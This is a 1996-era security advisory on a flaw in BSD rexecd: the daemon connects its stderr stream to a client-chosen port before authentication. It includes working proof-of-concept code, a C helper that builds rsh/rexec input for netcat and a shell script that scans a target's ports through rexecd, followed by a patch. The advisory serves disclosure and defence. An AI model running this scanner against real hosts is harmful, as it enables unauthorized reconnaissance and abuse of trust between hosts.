COMMAND

    rexecd

SYSTEMS AFFECTED

    All systems with BSD-based networking including FreeBSD,  OpenBSD,
    NetBSD, BSDI BSD/OS, Solaris 2, OSF/1, Ultrix, Linux.

PROBLEM

    Rexecd allows redirection  of stderr stream  to an arbitrary  port
    on the  client machine.   This stream  is opened  by rexecd before
    authentication of the user.

    Rshd and  rexecd can  output stderr  by opening  a socket from the
    server machine to the client machine which is accepted by the  rsh
    or rexec  client.   The rsh  client opens  the initial  connection
    from a privileged port, rshd responds from a privileged port,  and
    redirects  the  connection  to  a  privleged  port  on  the client
    machine.  The trust model is preserved because this whole  process
    is controlled  by the  setuid program  rsh on  the client machine.
    Exec is  fundamentally similar  to the  shell service  except that
    instead  of  a  remote  and  local username being transmitted (for
    .rhosts  and  hosts.equiv  authentication  only)  a  username  and
    password is transmitted, and the whole exchange uses  unprivileged
    ports.

    Because rexec uses unprivileged  ports for the whole  process, any
    user can send a request  to a rexecd requesting connection  of the
    stderr stream to an arbitrary  port on the client machine.   Since
    the  client  is  unprivileged,  there  is  no  possibility for the
    legitimate stderr  stream to  be destined  for a  privileged port.
    In addition, spoofing techniques could allow the client to  direct
    the  stderr  stream  towards  an  arbitrary  host  as  well  as an
    arbitrary port, possibly  exploiting a given  trust model.   Since
    rexecd terminates if  the stderr port  can't be connected  to, and
    the port can be specified, rexecd  can be used to easily scan  the
    client  host  from  the  server  host.   The  script   "rexecscan"
    demonstrates this (see below).

Repeat-By:

begin prservice.c

/* modified by jaeger 12Nov1996. Duplicated slack coding style.

   now takes
        port locuser remuser [cmd]
        port remuser passwd [cmd]
    where port is the dst port  you wish the stderr socket to  connect
    to from the server to the client machine.

/* generate ^@string1^@string2^@cmd^@  input to netcat,  for scripting
   up rsh/rexec attacks.  Needs to be a prog because shells strip  out
   nulls.

   args:
        locuser remuser [cmd]
        remuser passwd [cmd]

   cmd defaults to "pwd".

   ... whatever.  _H*/

#include <stdio.h>

/* change if you like; "id" is a good one for figuring out if you won too */
static char cmd[] = "pwd";

static char buf [256];

main(argc, argv)
  int argc;
  char * argv[];
{
  register int x;
  register int y = 0;
  char * p;
  char * q;

  p = buf;
  memset (buf, 0, 256);

  if (! argv[1])
    goto wrong;
  x = strlen (argv[1]);
  memcpy (p, argv[1], x);       /* port plus null */
  x++;
  p += x;
  y += x;

  if (! argv[2])
    goto wrong;
  x = strlen (argv[2]);
  memcpy (p, argv[2], x);       /* second arg plus null */
  x++;
  p += x;
  y += x;

  if (! argv[3])
    goto wrong;
  x = strlen (argv[3]);
  memcpy (p, argv[3], x);       /* third arg plus null */
  x++;
  p += x;
  y += x;

  q = cmd;
  if (argv[4])
    q = argv[4];
  x = strlen (q);               /* not checked -- bfd */
  memcpy (p, q, x);             /* the command, plus final null */
  x++;
  p += x;
  y += x;

  memcpy (p, "\n", 1);          /* and a newline, so it goes */
  y++;

  write (1, buf, y);            /* zot! */
  exit (0);

wrong:
  fprintf (stderr, "%s: <port> <arg> <arg>\n",argv[0]);
  exit (1);
}

end prservice.c

begin rexecscan

#!/bin/sh
# Dumb script to demonstrate scanning with rexecd
# jaeger, 12Nov1996

# Path to netcat
NC=nc
# Path to prservice program
PRS=./prservice
# Port to scan to
MAX=1024

TARGET=$1
USER=$2
PASSWORD=$3

PORT=1

if [ $# -ne 3 ]; then
        echo "$0 <targethost> <username> <password>"
fi

while [ $PORT -lt $MAX ]; do
        $PRS $PORT $USER $PASSWORD "echo $PORT open" | $NC $TARGET 512
        PORT=`expr $PORT + 1`
done

exit 0

end rexecscan

SOLUTION

    The rexecd should check the specified return port ("port") to make
    sure it  is nonprivileged,  and not  open the  stderr stream until
    authentication is complete.  Similar fixes go for rshd.

*** rexecd.c.dist       Mon Nov 11 11:32:23 1996
--- rexecd.c    Thu Nov 14 01:55:17 1996
***************
*** 151,168 ****
                port = port * 10 + c - '0';
        }
        (void) alarm(0);
!       if (port != 0) {
!               s = socket(AF_INET, SOCK_STREAM, 0);
!               if (s<0)
!                       exit(1);
!               if (bind(s, (struct sockaddr *)&asin, sizeof (asin))<0)
!                       exit(1);
!               (void) alarm(60);
!               fromp->sin_port = htons(port);
!               if (connect(s, (struct sockaddr *)fromp, sizeof (*fromp))<0)
!                       exit(1);
!               (void) alarm(0);
!       }
        getstr(user, sizeof(user), "username");
        getstr(pass, sizeof(pass), "password");
        getstr(cmdbuf, sizeof(cmdbuf), "command");
--- 151,157 ----
                port = port * 10 + c - '0';
        }
        (void) alarm(0);
!
        getstr(user, sizeof(user), "username");
        getstr(pass, sizeof(pass), "password");
        getstr(cmdbuf, sizeof(cmdbuf), "command");
***************
*** 215,220 ****
--- 204,227 ----
                error("No remote directory.\n");
                exit(1);
        }
+
+       if (port != 0) {
+               if ((port != 0) && (port<IPPORT_RESERVED)) {
+                       syslog(LOG_ERR, "client stderr port in reserved range\n");
+                       exit(1);
+               }
+               s = socket(AF_INET, SOCK_STREAM, 0);
+               if (s<0)
+                       exit(1);
+               if (bind(s, (struct sockaddr *)&asin, sizeof (asin))<0)
+                       exit(1);
+               (void) alarm(60);
+               fromp->sin_port = htons(port);
+               if (connect(s, (struct sockaddr *)fromp, sizeof (*fromp))<0)
+                       exit(1);
+               (void) alarm(0);
+       }
+
        (void) write(2, "\0", 1);
        if (port) {
                (void) pipe(pv);
***************
*** 255,260 ****
--- 262,268 ----
                (void) close(s); (void)close(pv[0]);
                dup2(pv[1], 2);
        }
+
        if (*pwd->pw_shell == '\0')
                pwd->pw_shell = _PATH_BSHELL;
        if (f > 2)